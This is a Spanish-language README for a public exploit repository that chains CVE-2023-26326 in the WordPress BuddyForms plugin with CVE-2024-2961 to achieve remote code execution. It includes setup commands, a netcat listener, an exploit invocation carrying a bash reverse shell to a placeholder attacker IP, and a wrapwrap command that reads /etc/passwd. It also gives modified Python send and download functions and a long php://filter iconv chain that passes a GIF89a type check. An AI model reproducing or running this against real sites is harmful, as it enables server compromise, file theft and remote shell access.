
Exploit para CVE-2023-26326 en el plugin BuddyForms de WordPress, aprovechando CVE-2024-2961 para ejecución remota de código. Este exploit sortea las limitaciones de deserialización de PHP 8+ encadenando vulnerabilidades con php://filter.
Este trabajo fue realizado por mí, Omar Elshopky, y Nour El Dien Bassiouny.
Este repositorio contiene un exploit para el plugin BuddyForms de WordPress (CVE-2023-26326), reportado inicialmente en el aviso por Joshua Martinelle. El exploit aprovecha una técnica propuesta en el blog Iconv, set the charset to RCE: Exploiting the glibc to hack the PHP engine, y fue implementado por @ambionics en el repositorio cnext-exploits.
Originalmente, CVE-2023–26326 requería cadenas de gadgets para explotarlo como una vulnerabilidad de deserialización. Este método ya no es viable en sitios WordPress modernos que ejecutan PHP 8+; sin embargo, al encadenarlo con CVE-2024-2961](https://www.ambionics.io/blog/iconv-cve-2024-2961-p1), el exploit se vuelve posible a través de php://filter en lugar de phar://.
El exploit fue creado modificando el script cnext-exploit.py, incorporando los cambios necesarios para CVE-2023-26326, como se detalla en la .
git clone https://github.com/omarelshopky/exploit_cve-2023-26326_using_cve-2024-2961.git
cd exploit_cve-2023–26326_using_cve-2024-2961
python3 -m venv venv
source venv/bin/activate
pip install -r requirements.txt
<ATTACKER_PORT> para capturar la reverse shell:nc -lvnp <ATTACKER_PORT>
python exploit.py "<TARGET_URL>/wp-admin/admin-ajax.php" 'bash -c "bash -i >& /dev/tcp/<ATTACKER_IP>/<ATTACKER_PORT> 0>&1"'


La idea central detrás del exploit de CVE-2024-2961 se mantuvo, pero fueron necesarias modificaciones para adaptarlo y enviar la cadena de filtros al sitio web y descargar archivos del servidor.
En el exploit original, la función send se utiliza para enviar una ruta al servidor:
def send(self, path: str) -> Response:
return self.session.post(self.url, data={"file": path})
Para WordPress con BuddyForms, la interacción ocurre por defecto mediante una solicitud POST a /wp-admin/admin-ajax.php, donde los datos del cuerpo contienen action=upload_image_from_url&url=<INJECT_POINT>&id=1&accepted_files=image/gif. El parámetro URL sirve como punto de inyección para enviar la cadena de filtros al servidor. Esto resultó en la siguiente modificación a la función send:
def send(self, path: str) -> Response:
return self.session.post(self.url, data={
"action" : "upload_image_from_url",
"url" : urllib.parse.quote_plus(path),
"id" : "1",
"accepted_files" : "image/gif"
})
El exploit original tenía una función download responsable de descargar archivos del servidor. La siguiente versión de la función download se utiliza en el exploit original:
def download(self, path: str) -> bytes:
path = f"php://filter/convert.base64-encode/resource={path}"
response = self.send(path)
data = response.re.search(b"File contents: (.*)", flags=re.S).group(1)
return base64.decode(data)
Para adaptarlo a BuddyForms, analizamos la función buddyforms_upload_image_from_url, que maneja la carga de imágenes desde una URL. Usa file_get_contents, verifica el tipo de archivo con getimagesize(), y luego guarda el contenido en el directorio wp-content/uploads. Esto nos permite explotar php://filter para leer archivos locales y guardarlos en el directorio de uploads, haciéndolos accesibles mediante URL. Sin embargo, debemos eludir la verificación de archivos anteponiendo GIF89a al contenido del archivo para simularlo como un GIF. Esto se puede lograr usando encadenamiento de filtros, y la herramienta wrapwrap puede generar la cadena necesaria:
git clone https://github.com/ambionics/wrapwrap.git
cd wrapwrap
./wrapwrap.py /etc/passwd 'GIF89a' '' 1000

Esta cadena de filtros generada debe reemplazar la codificación base64 utilizada en el script original. Además, el formato para extraer la ruta del archivo subido de la respuesta debe actualizarse para adaptarse al formato JSON, que incluye el atributo "response" establecido en la ruta del archivo.
{"status":"OK","response":"http:\/\/victim.site\/wp-content\/uploads\/2025\/02\/1-106.png","attachment_id":261}
{"status":"FAILED","response":"File type is not allowed."}
Tenga en cuenta que el prefijo GIF89a debe eliminarse antes de usar el contenido del archivo en el exploit, resultando en la siguiente función download modificada:
def download(self, path: str) -> bytes:
# Append prefix "GIF89a" to bypass file type check with getimagesize()
path = f"php://filter/convert.base64-encode|convert.iconv.855.UTF7|convert.iconv.CSGB2312.UTF-32|convert.iconv.IBM-1161.IBM932|convert.iconv.GB13000.UTF16BE|convert.iconv.864.UTF-32LE|convert.base64-decode|convert.base64-encode|convert.iconv.855.UTF7|convert.iconv.CP-AR.UTF16|convert.iconv.8859_4.BIG5HKSCS|convert.iconv.MSCP1361.UTF-32LE|convert.iconv.IBM932.UCS-2BE|convert.base64-decode|convert.base64-encode|convert.iconv.855.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.IBM932.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.855.UTF7|convert.iconv.CSA_T500.UTF-32|convert.iconv.CP857.ISO-2022-JP-3|convert.iconv.ISO2022JP2.CP775|convert.base64-decode|convert.base64-encode|convert.iconv.855.UTF7|convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.base64-decode|convert.base64-encode|convert.iconv.855.UTF7|convert.iconv.CP-AR.UTF16|convert.iconv.8859_4.BIG5HKSCS|convert.iconv.MSCP1361.UTF-32LE|convert.iconv.IBM932.UCS-2BE|convert.base64-decode|convert.base64-encode|convert.iconv.855.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.8859_3.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.855.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.iconv.SJIS.EUCJP-WIN|convert.iconv.L10.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.855.UTF7|convert.base64-decode/resource={path}"
response_data = self.send(path).json()
if response_data == "FAILED":
print(f"[-] Unable to download files, error message: {response_data['response']}")
exit(0)
file_path = response_data["response"]
# Remove the prefix "GIF89a"
return self.session.get(file_path).content[6:]
libc.so.6Tenga en cuenta que descargar el archivo libc.so.6 del servidor puede no funcionar correctamente con las cadenas de filtros, ya que el binario se modifica durante el proceso. En su lugar, el archivo correcto debe proporcionarse en el directorio raíz del exploit.